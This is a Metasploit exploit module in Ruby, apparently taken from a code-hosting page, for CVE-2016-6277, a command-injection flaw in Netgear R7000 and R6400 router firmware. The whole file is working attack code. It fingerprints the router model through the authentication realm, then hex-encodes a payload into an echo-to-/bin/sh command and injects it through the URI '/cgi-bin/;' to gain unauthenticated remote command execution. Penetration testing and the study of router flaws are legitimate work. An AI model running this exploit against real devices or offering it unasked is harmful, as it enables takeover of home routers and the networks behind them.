97 lines
3.0 KiB
Ruby
97 lines
3.0 KiB
Ruby
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
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'Description' => %q{
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This module exploits an arbitrary command injection vulnerability in
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Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
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},
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Author' => ['thecarterb', 'Acew0rm'],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'Arch' => [ARCH_CMD],
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'Targets' => [
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[ 'Automatic Target', { } ]
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],
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'References' =>
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[
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[ 'EDB', '40889'],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
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[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
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[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
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[ 'CVE', '2016-6277']
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],
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'DisclosureDate' => 'Dec 06 2016',
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true
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#'EncoderType' => Msf::Encoder::Type::CmdUnixIfs,
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}
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))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def scrape(text, start_trig, end_trig)
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text[/#{start_trig}(.*?)#{end_trig}/m, 1]
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end
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# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
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def check
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res = send_request_cgi({'uri'=>'/'})
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if res.nil?
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fail_with(Failure::Unreachable, 'Connection timed out.')
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end
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# Checks for the `WWW-Authenticate` header in the response
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if res.headers["WWW-Authenticate"]
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data = res.to_s
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marker_one = "Basic realm=\""
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marker_two = "\""
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model = scrape(data, marker_one, marker_two)
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vprint_status("Router is a NETGEAR router (#{model})")
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if model == 'NETGEAR R7000' || model == 'NETGEAR R6400'
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print_good("Router could be vulnerable (#{model})")
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return CheckCode::Detected
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else
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return CheckCode::Safe
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end
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else
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print_error('Router is not a NETGEAR router')
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return CheckCode::Safe
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end
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end
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# Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit
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def exploit
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is_vuln = check
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cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
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str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
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print_status("Sending encoded command...")
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vprint_status("Encoded command: #{str}")
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send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })
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print_status("Giving the handler time to run...")
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handler
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select(nil, nil, nil, 10.0)
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end
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end
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